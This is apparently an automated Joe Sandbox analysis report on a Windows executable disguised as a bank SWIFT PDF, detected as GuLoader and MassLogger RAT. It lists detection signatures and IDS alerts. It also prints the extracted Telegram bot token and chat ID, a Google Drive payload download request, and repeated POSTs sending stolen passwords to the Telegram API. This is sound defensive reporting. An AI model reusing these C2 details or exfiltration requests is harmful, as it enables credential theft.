Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Bank Swift and SOA PRN0072003410853_pdf.exe

Overview

General Information

Sample name:Bank Swift and SOA PRN0072003410853_pdf.exe
Analysis ID:1567225
MD5:09b9beebda4769c102cb42a564ef2001
SHA1:a79649f64f1b3684436d0e8ec8226224a3cb35e6
SHA256:ec936a27fcad21e1435ca19859482e5f91fc4822b65498bb1f4cc68b75a11567
Tags:exeuser-lowmal3
Infos:

Detection

GuLoader, MassLogger RAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected MassLogger RAT
Yara detected Telegram RAT
AI detected suspicious sample
Disable Task Manager(disabletaskmgr)
Disables CMD prompt
Disables the Windows task manager (taskmgr)
Initial sample is a PE file and has a suspicious name
Switches to a custom stack to bypass stack traces
Tries to detect the country of the analysis system (by using the IP)
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer

Classification

  • System is w10x64
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
{"C2 url": "https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendMessage"}
{"EXfil Mode": "Telegram", "Telegram Token": "7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU", "Telegram Chatid": "7382809095"}
SourceRuleDescriptionAuthorStrings
00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_MassLoggerYara detected MassLogger RATJoe Security
    00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
        00000000.00000002.2518243952.00000000048D2000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
          00000004.00000002.3271650032.0000000002C42000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
            Click to see the 3 entries
            No Sigma rule has matched
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-12-03T10:08:13.063510+010020577441Malware Command and Control Activity Detected192.168.2.549831149.154.167.220443TCP
            2024-12-03T10:08:16.572544+010020577441Malware Command and Control Activity Detected192.168.2.549842149.154.167.220443TCP
            2024-12-03T10:08:20.685027+010020577441Malware Command and Control Activity Detected192.168.2.549851149.154.167.220443TCP
            2024-12-03T10:08:24.934366+010020577441Malware Command and Control Activity Detected192.168.2.549864149.154.167.220443TCP
            2024-12-03T10:08:29.088266+010020577441Malware Command and Control Activity Detected192.168.2.549874149.154.167.220443TCP
            2024-12-03T10:08:32.581714+010020577441Malware Command and Control Activity Detected192.168.2.549885149.154.167.220443TCP
            2024-12-03T10:08:35.925133+010020577441Malware Command and Control Activity Detected192.168.2.549894149.154.167.220443TCP
            2024-12-03T10:08:39.356327+010020577441Malware Command and Control Activity Detected192.168.2.549903149.154.167.220443TCP
            2024-12-03T10:08:42.748741+010020577441Malware Command and Control Activity Detected192.168.2.549913149.154.167.220443TCP
            2024-12-03T10:08:46.059309+010020577441Malware Command and Control Activity Detected192.168.2.549922149.154.167.220443TCP
            2024-12-03T10:08:49.558654+010020577441Malware Command and Control Activity Detected192.168.2.549933149.154.167.220443TCP
            2024-12-03T10:08:53.121035+010020577441Malware Command and Control Activity Detected192.168.2.549942149.154.167.220443TCP
            2024-12-03T10:08:56.452479+010020577441Malware Command and Control Activity Detected192.168.2.549951149.154.167.220443TCP
            2024-12-03T10:08:59.770297+010020577441Malware Command and Control Activity Detected192.168.2.549961149.154.167.220443TCP
            2024-12-03T10:09:04.369183+010020577441Malware Command and Control Activity Detected192.168.2.549970149.154.167.220443TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-12-03T10:08:02.353690+010028032742Potentially Bad Traffic192.168.2.549807193.122.130.080TCP
            2024-12-03T10:08:10.884946+010028032742Potentially Bad Traffic192.168.2.549807193.122.130.080TCP
            2024-12-03T10:08:14.588087+010028032742Potentially Bad Traffic192.168.2.549837193.122.130.080TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-12-03T10:07:54.987250+010028032702Potentially Bad Traffic192.168.2.549785172.217.19.174443TCP

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: Bank Swift and SOA PRN0072003410853_pdf.exeAvira: detected
            Source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU", "Telegram Chatid": "7382809095"}
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe.1292.4.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendMessage"}
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

            Location Tracking

            barindex
            Source: unknownDNS query: name: reallyfreegeoip.org
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787B4C0 CryptUnprotectData,4_2_3787B4C0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787BCB8 CryptUnprotectData,4_2_3787BCB8
            Source: Bank Swift and SOA PRN0072003410853_pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: unknownHTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49814 version: TLS 1.0
            Source: unknownHTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.5:49785 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.5:49793 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49831 version: TLS 1.2
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405772
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_0040622D FindFirstFileW,FindClose,0_2_0040622D
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00402770 FindFirstFileW,0_2_00402770
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_00402770 FindFirstFileW,4_2_00402770
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,4_2_00405772
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_0040622D FindFirstFileW,FindClose,4_2_0040622D
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 000DE959h4_2_000DE6A8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 000DF082h4_2_000DEC58
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 000DF082h4_2_000DEFAF
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787F6A0h4_2_3787F3F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787AC65h4_2_3787A928
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787F248h4_2_3787EFA0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37879A71h4_2_378797C8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787C478h4_2_3787C1D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787D5D8h4_2_3787D330
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787EDF0h4_2_3787EB48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37879619h4_2_37879370
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787C020h4_2_3787BD78
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787CD28h4_2_3787CA80
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787A779h4_2_3787A4D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787D180h4_2_3787CED8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787E998h4_2_3787E6F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37879EC9h4_2_37879C20
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787C8D0h4_2_3787C628
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787FAF8h4_2_3787F850
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3787A321h4_2_3787A078
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 3789630Dh4_2_37896130
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37896C97h4_2_37896130
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then push 00000000h4_2_378998D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then lea esp, dword ptr [ebp-04h]4_2_3789A6C7
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378949A0h4_2_378946F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h4_2_37895632
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37893840h4_2_37893598
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378918A0h4_2_378915F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37890740h4_2_37890498
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378925AAh4_2_37892300
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37894548h4_2_378942A0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37891448h4_2_378911A0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378933E8h4_2_37893140
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378902E8h4_2_37890040
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37895250h4_2_37894FA8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37892150h4_2_37891EA8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 378940F0h4_2_37893E48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37890FF0h4_2_37890D48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37892F90h4_2_37892CE8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37894DF8h4_2_37894B50
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37891CF8h4_2_37891A50
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37893C98h4_2_378939F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37892B38h4_2_37892890
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then jmp 37890B98h4_2_378908F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then push 00000000h4_2_388FE628
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then push 00000000h4_2_388FF176
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4x nop then lea esp, dword ptr [ebp-08h]4_2_388FF438

            Networking

            barindex
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49831 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49885 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49842 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49864 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49851 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49894 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49922 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49913 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49951 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49874 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49903 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49933 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49942 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49961 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49970 -> 149.154.167.220:443
            Source: unknownDNS query: name: api.telegram.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1350193db893Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd137e105fc1feHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13ae82c32536Host: api.telegram.orgContent-Length: 1090
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13e16033c20bHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1411232f9549Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14371a613ba1Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd145f87e057f7Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd148661ab8fffHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14aa57f67ea2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14ce19e68447Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14f595edc067Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1527480b56d0Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1550dbe05b85Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1585d359bba7Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd15c22b9affe2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
            Source: Joe Sandbox ViewIP Address: 193.122.130.0 193.122.130.0
            Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
            Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: unknownDNS query: name: checkip.dyndns.org
            Source: unknownDNS query: name: reallyfreegeoip.org
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49837 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49807 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49785 -> 172.217.19.174:443
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: unknownHTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49814 version: TLS 1.0
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
